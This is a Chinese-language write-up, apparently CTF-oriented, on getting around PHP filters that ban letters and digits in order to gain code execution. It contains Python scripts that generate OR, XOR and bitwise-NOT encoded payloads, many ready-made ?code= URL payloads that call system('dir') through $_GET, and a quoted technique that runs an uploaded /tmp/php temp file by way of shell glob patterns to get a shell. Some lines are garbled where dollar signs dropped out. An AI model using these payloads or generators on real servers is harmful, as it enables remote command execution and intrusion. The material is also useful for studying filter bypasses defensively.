Pation
方法一+方法二获取脚本:
import string,urllib.parse
print(string.printable)
def get_chr(c,jud):
for i in range(0xFF):
for j in range(128):
if (jud == "|"):
if (chr(i | j) == c):
if (chr(i)not in disable) and (chr(j)not in disable):
return i,j
elif jud == "^":
if (chr(i ^ j) == c):
if (chr(i)not in disable) and (chr(j)not in disable):
return i,j
#根据过滤加入被过滤的字符
disable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
print("disable_chars => ",disable)
jud = input("选择或运算(|)输入|,选择异或运算(^)输入^\n->\t")
while 1:
c1 = ""
c2 = ""
inp = input("input Your string:\n->\t")
for i in inp:
a,b = get_chr(i,jud)
a1 = str(hex(a)).replace("0x","")
b1 = str(hex(b)).replace("0x","")
if int(a)<16: c1 += "%0"+a1
else: c1 += "%"+a1
if int(b)<16: c2 += "%0"+b1
else: c2 += "%"+ b1
print("payload\t=\t(\""+c1+"\""+jud+"\""+c2+"\")")
# ?code=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%04%09%09"^"%60%60%7b");
# => ?code=("system")("dir");
<?php
code="phpinfo";
echo "\ncode\t(~".urlencode(~$code).")";
php5不支持($a)()这种方法动态解析调用函数;
在 PHP 5 中 assert() 是一个函数,我们可以通过f='assert';f(...);这样的方法来动态执行任意代码,此时它可以起到替代 eval() 的作用。但是在 PHP 7 中,assert() 不再是函数了,而是变成了一个和 eval() 一样的语言结构,此时便和 eval() 一样不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用 file_put_contents() 函数,同样可以用来 Getshell 。
异或运算^或运算|取反运算~方法都是先进行运算后得到函数字符串再动态执行函数的,想要进行运算得到目标字符串有以下方法(三种):
?code=(~%8F%97%8F%96%91%99%90)();
[]会执行里面的函数,然后得到的结果为一个数组,[][0]获得第一个成员变量(%ff取反得到的是false) 方法二payload生成脚本:
exp = ""
def urlbm(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:]
return f"[~{ss}][!%FF]("
while True:
fun = input("Firebasky>: ").strip(")").split("(")
exp = ''
for each in fun[:-1]:
exp += urlbm(each)
print(exp)
exp += ")" * (len(fun) - 1) + ";"
print(exp)
?code=[~%8F%97%8F%96%91%99%90][0]();
?code=[~%8F%97%8F%96%91%99%90][~%ff]();
?code=[~%8F%97%8F%96%91%99%90,0][~%ff]();
?code=[phpinfo,0][~%ff]();
以上都可行,以下不执行
?code=[~%8F%97%8F%96%91%99%90,0][1]();
所以可以通过[~%8F%97%8F%96%91%99%90][!%FF]()这种方法得到"phpinfo"字符串进一步执行phpinfo()函数
?code=[~%8F%97%8F%96%91%99%90][!%FF]();
这个方法不会受到版本限制(php5或php7均可)
还可以通过?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%FF}();结合get传参的方法(%ff%ff%ff%ff^%a0%b8%ba%ab得到的结果就是_GET)执行phpinfo();
注:本地测试" var_dump(${_GET}); "可以正常输出,但是" var_dump({_GET}); "会报错
?code={%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?code={%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(${%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir
解释一下这个师傅的绕过手法:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
即:
${_GET}{%ff}();&%ff=phpinfo
//?shell=${_GET}{%ff}();&%ff=phpinfo
任何字符与 0xff 异或都会取相反,这样就能减少运算量了。 注意:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用代替,原因是 PHP 的 use of undefined constant 特性。例如{_GET}{a}这样的语句 PHP 是不会判为错误的,因为是用来界定变量的,这句话就是会将_GET自动看为字符串,也就是_GET['a']。
?code="phpinfo"();
?code=("phpinfo")();
?code=("php"."info")();
?code=(_GET[0])();&0=phpinfo
?code=[~%8F%97%8F%96%91%99%90][!%FF]();
?code=("%10%08%10%09%0E%06%0F"|"```````")();
?code=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();
?code=(~%8F%97%8F%96%91%99%90)();
以上方法在php5中都不能执行phpinfo()函数,但是php7中就可以
以下方法不受版本限制
?code=_="dir"?><?=`_`;
?code=_="phpinfo";_();
?code=_GET[0]();&0=phpinfo
?code=_=(~%8F%97%8F%96%91%99%90);_();
?code={%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}({%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir
总结:一般都不会丧心病狂过滤(),所以php7中可以直接通过(…)(…)这种方式执行任意代码,但是php5就比较麻烦,如果和=可用还能则可以通过?code==(~%8F%97%8F%96%91%99%90);$\();执行代码
或者标准方法三也可以执行任意代码:?code={%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}({%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir
可以通过不断闭合再短标签执行多个函数 : ?code=?><?=phpinfo()?><?=system("dir")?>
但是如果在php5中$被ban了的话只能通过如下拓展,
1: 利用?>闭合eval的<?标签再通过短标签<?=和“获得shell的方法
2: 配合通配符执行匹配文件 和 .使用当前shell执行文件
3: 配套上文件上传暂存文件名的规律构造匹配的通配符
最终实现通过当前shell(如/bin/bash)执行构造好的上传文件,最终达到RCE的效果
拓展一些(来自p神的文章) : https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$
的系统命令来getshell?
好像问题又回到了原点:无字母、数字、$
,在shell中仍然是一个难题。
此时我想到了两个有趣的Linux shell知识点:
.
来执行任意脚本第一点曾在《 小密圈里的那些奇技淫巧 》露出过一角,但我没细讲。.
或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。
用. file
执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.
来执行它了吗?
这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。
第二个难题接踵而至,执行. /tmp/phpXXXXXX
,也是有字母的。此时就可以用到Linux下的glob通配符:
*
可以代替0个及以上任意字符?
可以代表1个任意字符那么,/tmp/phpXXXXXX
就可以表示为/*/?????????
或/???/?????????
。
但我们尝试执行. /???/?????????
,却得到如下错误:
这是因为,能够匹配上/???/?????????
这个通配符的文件有很多,我们可以列出来:
可见,我们要执行的/tmp/phpcjggLC
排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts
)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。
思路又陷入了僵局,虽然方向没错。
大部分同学对于通配符,可能知道的都只有*
和?
。但实际上,阅读Linux的文档( http://man7.org/linux/man-pages/man7/glob.7.html ),可以学到更多有趣的知识点。
其中,glob支持用[^x]
的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts
:
排除了第4个字符是-
的文件,同样我们可以排除包含.
的文件:
现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。
继续阅读glob的帮助,我发现另一个有趣的用法:
就跟正则表达式类似,glob支持利用[0-9]
来表示一个范围。
我们再来看看之前列出可能干扰我们的文件:
所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。
翻开ascii码表,可见大写字母位于@
与[
之间:
那么,我们可以利用[@-[]
来表示大写字母:
显然这一招是管用的。
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
最后,我传入的code为?><?=
. /???/????????[@-[];?>
,发送数据包如下:
成功执行任意命令。